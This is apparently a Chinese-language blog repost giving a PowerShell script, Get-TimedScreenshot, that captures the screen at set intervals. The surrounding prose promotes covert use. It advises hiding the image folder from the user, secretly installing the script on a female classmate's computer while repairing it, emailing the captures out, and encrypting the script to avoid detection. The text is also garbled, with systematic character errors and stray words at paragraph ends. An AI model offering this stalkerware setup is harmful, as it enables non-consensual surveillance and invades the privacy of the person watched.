PowerShell定時抓取屏幕圖像

     昨天的博文寫了定時記錄操做系統行爲,其實說白了就是抓取了擊鍵的記錄和對應窗口的標題欄,而不少應用程序標題欄又包含當時記錄的文件路徑和文件名,用這種方式能夠大體記錄操做了哪些程序,打開了哪些文件,以及敲擊了哪些按鍵。事實上這樣記錄操做系統的行爲顯得相對單薄一點,由於記錄的內容不太形象,對於新手來講太過於隱晦了,對於人類來講,圖像會比文字更加有利於用戶理解。當操做系統不方便裝屏幕記錄軟件,但又須要看已經登陸用戶在幹什麼的時候,用PowerShell的腳原本實現定時抓取圖像的方式記錄操做,查看圖像就知道登錄用戶作了什麼,固然你存放圖片的目錄要隱蔽,不要讓用戶發現了爲好。html

     固然對於在學校計算機系的屌絲們,這個功能也能夠用來了解本身的女神有什麼喜愛了。什麼?咋把腳本安裝到女神的電腦裏?咋把抓的圖片返回給你?拜託,這麼簡單的問題,還須要我幫你找答案麼?女神的電腦壞了,一般都會找一個熟悉電腦軟硬件的計算機系的童鞋來修的,修的時候悄悄動點手腳。圖片返回的問題呢,徹底能夠定時抓取,而後抓取必定數量以後打包發到指定郵箱,而後刪除本地圖片嘛。什麼?不知道PowerShell咋發郵件…你妹的,用System.Net.Mail.MailMessage組件調用SMTP發送郵件你不會?我之前寫過相似文章的…好吧,送佛送到西,本身去看吧《使用PowerShell經過Smtp發送郵件》。還有就是寫的腳本務必要加密,至於加密方式方法嘛,改天吧,改天專門寫一篇文章寫關於PowerShell腳本加密,這種事情嘛,若是被女神發現鳥,那但是吃不了兜着走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,本身把握好度,若是警察蜀黍請你去喝茶了可就很差玩了。本故事純屬虛構,若有雷同純屬巧合,本人只提供創意,若是具體實施被女神打破頭,或者被警察蜀黍請去喝茶了,本人概不負任何法律責任哈。嘿嘿,很少扯了,先上今天的定時抓取屏幕圖像的方法。shell

     其實方法不復雜,寫了一個抓取屏幕的函數,定時執行,將抓取的圖片存入指定位置,若是達到終止的時間,結束執行.代碼不復雜,有看不懂的兄弟能夠留言,我幫你解答。less

接下來上代碼:函數

        =====文件名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
    Specifies the folder path.
.PARAMETER Interval
    Specifies the interval in seconds between taking screenshots.
.Parameter EndTime
    Specifies when the script should stop running in the format HH-MM 
.Example
    Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
#>

    [CmdletBinding()] Param(
        [Parameter(Mandatory=$True)]             
        [ValidateScript({Test-Path -Path $_ })]
        [String] $Path, 

        [Parameter(Mandatory=$True)]             
        [Int32] $Interval,

        [Parameter(Mandatory=$True)]             
        [String] $EndTime    
    )

    #Define helper function that generates and saves screenshot
    Function Get-Screenshot {
       $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
       $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
       $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
       $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
       $DrawingGraphics.Dispose()
       $ScreenshotObject.Save($FilePath)
       $ScreenshotObject.Dispose()
    }
    Try {

        #load required assembly
        Add-Type -Assembly System.Windows.Forms            

        Do {
            #get the current time and build the filename from it
            $Time = (Get-Date)

            [String] $FileName = "$($Time.Month)"
            $FileName += '-'
            $FileName += "$($Time.Day)" 
            $FileName += '-'
            $FileName += "$($Time.Year)"
            $FileName += '-'
            $FileName += "$($Time.Hour)"
            $FileName += '-'
            $FileName += "$($Time.Minute)"
            $FileName += '-'
            $FileName += "$($Time.Second)"
            $FileName += '.png'

            #use join-path to add path to filename
            [String] $FilePath = (Join-Path $Path $FileName)

            #run screenshot function
            Get-Screenshot

            Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"

            Start-Sleep -Seconds $Interval
        }

        #note that this will run once regardless if the specified time as passed
        While ((Get-Date -Format HH:mm) -lt $EndTime)
    }

    Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

 

執行方式,以下圖所示:網站

 image

執行效果,會在指定的目錄,按照時間間隔生成桌面抓圖,相似以下圖所示.ui

image

哥,只能幫你到這了!兄弟們好自爲之吧!this

 

做者: 付海軍
版權:本文版權歸做者全部
轉載:歡迎轉載,爲了保存做者的創做熱情,請按要求【轉載】,謝謝
要求:未經做者贊成,必須保留此段聲明;必須在文章中給出原文鏈接且保證內容完整!不然必究法律責任!
我的網站: http://www.fuhaijun.com/加密

相關文章
相關標籤/搜索